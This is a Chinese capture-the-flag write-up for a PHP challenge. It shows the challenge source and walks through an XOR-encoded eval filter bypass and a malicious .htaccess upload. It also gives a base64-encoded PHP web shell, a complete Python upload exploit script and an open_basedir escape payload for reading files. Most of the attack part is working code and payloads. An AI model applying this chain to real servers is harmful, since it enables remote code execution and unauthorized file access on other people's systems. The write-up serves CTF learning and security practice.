题目源码如下:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

有很瞩目的get_the_flag()方法,最后一行是eval($hhh);,题目显然是要让$hhh调用get_the_flag方法。这题对$hhh(即$_GET['_'])做了一定的限制:

  • 长度不允许大于18。
  • 不允许出现符合正则表达式的内容。
  • 字符串所用的字符数量不能大于12个。

使用下面的脚本可以检测出还有哪些可用的字符:

<?php
for($a = 0; $a < 256; $a++){
    if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($a))){
        echo chr($a)." ";
    }
}

剔掉奇奇怪怪的字符,还剩下这些:

! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }

我选取了%f8对“_GET”逐位异或,构造出url?_=${_GET}{%f8}();&%f8=phpinfo

<?php
$payload = '';
$x = '_GET';
for($i = 0; $i < strlen($x); $i++){
    for ($j = 0; $j < 255; $j++){
        $k = chr($j) ^ chr(248);
        if ($k == $x[$i]) {
            $payload .= '%'.dechex($j);
        }
    }
}
echo '%f8%f8%f8%f8^'.$payload;
?>

然后就看到flag了。 不能这么干,继续:

接下来分析get_the_flag()

  • 限制了上传的文件名。如果出现了“ph”会退出。
  • 限制了上传的文件内容。如果内容出现了“<?”,或经exif_imagetype()检测不是图片,会退出。

exif_imagetype()还是比较好绕过的:

  • 可以用“\x00\x00\x8a\x39\x8a\x39”。
  • 也可以用
#define width 1337
#define height 1337 

该题环境是Apache+PHP,可以上传.htaccess文件来绕过对文件的检测:

\x00\x00\x8a\x39\x8a\x39 
AddType application/x-httpd-php .ss 
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/shaw.cc" 

构造shaw.cc:

\x00\x00\x8a\x39\x8a\x39 
<?php eval($_GET['cmd']);?>

使用python脚本对其上传:

import requests
import hashlib
import base64

url ="http://a72f9a31-9b77-43e5-b2c1-a31861d4c18c.node3.buuoj.cn/"
padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"
myip=requests.get("http://ifconfig.me").text
ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir="upload/tmp_"+ip_md5+"/"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.cc"
"""
shaw = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['cmd']);?>")
files =[('file',('.htaccess',htaccess,'image/jpeg'))]

res = requests.post(url=url+padding,files=files)
files = [('file',('shaw.cc',shaw,'image/jpeg'))]
res = requests.post(url=url+padding,files=files)
print("the path is:"+url+res.text)

访问http://ip/upload/tmp_852aff287f54bca0ed7757a702913e50/shaw.cc/?cmd=phpinfo();成功执行^^

观察phpinfo,发现存在open_basedir,即限制了访问路径:

open_basedir /var/www/html/:/tmp/

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的

用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1″都是

可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

为了访问根目录,需要对其进行绕过,绕过方式参考:

?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));

读取到flag的文件名为“THis_Is_tHe_F14g”:print_r(file_get_contents('/THis_Is_tHe_F14g'))

或者直接用蚁剑连,用bypass disable_functions插件一把梭: